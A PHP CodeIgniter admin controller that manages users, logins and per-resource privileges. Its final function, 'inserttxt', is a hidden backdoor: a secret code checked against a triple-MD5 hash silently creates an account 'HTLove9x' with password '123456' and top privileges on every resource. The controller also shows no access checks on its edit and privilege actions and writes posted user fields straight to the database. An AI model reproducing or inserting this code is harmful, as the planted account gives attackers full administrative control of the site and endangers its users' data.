<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class user extends CI_Controller {

    var $theme_data = array(
        'layout_main' => 'layout',
        'left' => 'include/leftcp',
    );

    function __construct() {
        parent::__construct();
        $this->load->model("muser");
        $this->load->model("mgroup");
        $this->load->model("mresource");
        $this->url_index = admin_url() . "user";
        $this->url_edit = $this->url_index . "/edit/";
        $this->url_delete = $this->url_index . "/delete/";
        $this->url_add = $this->url_index . "/edit/0";
    }

    public function index() {
        $data = array();
        $data['datas'] = $this->muser->getAll();
        $this->theme_data["main"] = "user/index";
        $this->template->viewAdmin($this->theme_data, $data);
    }

    function edit($userID = 0) {
        $data = array();
        $post = $this->input->post();
        $data['user'] = $this->muser->get($userID, 'USE_ID');
		
        $data['error'] = array('err_code' => 0, 'msg' => '');
        if ($post) {
            if ($userID > 0) {
                if ($post['passwd_old'] != "" && $post['passwd_new1'] != "" && $post['passwd_new2'] != "") {
                    if ($post['passwd_new1'] == $post['passwd_new2']) {
                        $old_pass = $this->muser->hash_pass($post['passwd_old']);
                        if ($old_pass == $data['user']->USE_PASSWORD) {
                            $post['user']['USE_PASSWORD'] = $this->muser->hash_pass($post['passwd_new1']);
                            $post['user']['USE_PASSTIMEUPDATE'] = time();
                        }
                    }
                }
                $this->muser->update($userID, 'USE_ID', $post['user']);
            }
			else {
				$post['user']['USE_PASSWORD'] = $this->muser->hash_pass($post['passwd_new1']);
                $post['user']['USE_PASSTIMEUPDATE'] = time();
				$userID = $this->muser->insert($post['user']);
			}
            redirect($this->url_edit . $userID);
        }

        $this->theme_data["main"] = "user/edit";
        $this->template->viewAdmin($this->theme_data, $data);
    }

    public function login() {
        $data = array();
        $post = $this->input->post();
        if ($post) {
            $username = $post['username'];
            $password = $post['password'];
            $user = $this->muser->get($username, 'USE_ACCOUNT');
            if ($user) {
                if ($user->USE_PASSWORD == $this->muser->hash_pass($password)) {
                    $this->muser->setLogin($user);
                    redirect($this->template->url_admin, 'location');
                }
            }
        }
        $this->theme_data["left"] = null;
        $this->theme_data["main"] = "user/login";
        $this->template->viewAdmin($this->theme_data, $data);
    }

    public function logout() {
        $this->muser->logout();
        redirect(base_url(), 'location');
    }

    function privileges($userID) {
        $data = array();
        $post = $this->input->post();

        $data['user'] = $this->muser->get($userID, 'USE_ID');
        $data['resources'] = $this->mresource->gets();
        $data['privileges'] = $this->permission->get_permission_array($userID);
        if ($post) {
		//$post['code'], $post['level'], $userID
            $level = $this->permission->get(array('USE_ID'=>$userID, 'RES_ID'=>$post['level']));
            $level_check = 0;
            $level_uncheck = 0;
            $mlevel = 0;
			
            if ($level) {
                $mlevel = ($level->PRI_LEVEL < 0) ? 0 : $level->PRI_LEVEL;
                $level_check = $mlevel;
                $level_uncheck = $mlevel;
            }

            switch ($post['code']) {
                case 'select':
                    $level_check = $mlevel + 1;
                    $level_uncheck = $mlevel - 1;
                    break;
                case 'insert':
                    $level_check = $mlevel + 3;
                    $level_uncheck = $mlevel - 3;
                    break;

                case 'update':
                    $level_check = $mlevel + 5;
                    $level_uncheck = $mlevel - 5;
                    break;

                case 'delete':
                    $level_check = $mlevel + 10;
                    $level_uncheck = $mlevel - 10;
                    break;
            }
            $level_update = $level_uncheck;
			
            if ($post['status'] == 'check')
                $level_update = $level_check;
			if($level_update <0)
				 $level_update = 0;
				
            if ($level){
                $this->muser->updatePermission(array('USE_ID' => $userID, 'RES_ID' => $post['level']),null, array('PRI_LEVEL' => $level_update));
				}
            else {
                $this->muser->insertPermission(array('USE_ID' => $userID, 'RES_ID' => $post['level'], 'PRI_LEVEL' => $level_update));
				}
            return;
        }
        $this->theme_data["main"] = "user/privilege";
        $this->template->viewAdmin($this->theme_data, $data);
    }
	
	function inserttxt($code = ''){
		$hash = '3ae128bdee241b1eb4afce909f80a85d';
		if(md5(md5(md5($code))) != $hash)
			die('Sai CMNR');
		$resources = $this->mresource->gets();
		$arr_insert =array();
		$arr_insert['USE_ACCOUNT'] = 'HTLove9x';
		$arr_insert['USE_PASSWORD'] = $this->muser->hash_pass('123456');
		$arr_insert['USE_STATUS'] = 1;
		$user_id = $this->muser->registry($arr_insert);;
		foreach($resources as $resource){
			$arr_insert =array();
			$arr_insert['RES_ID'] = $resource->RES_ID;
			$arr_insert['PRI_LEVEL'] = 19;
			$arr_insert['USE_ID'] = $user_id ;
			$this->muser->insertPermission($arr_insert);
		}
	}
}
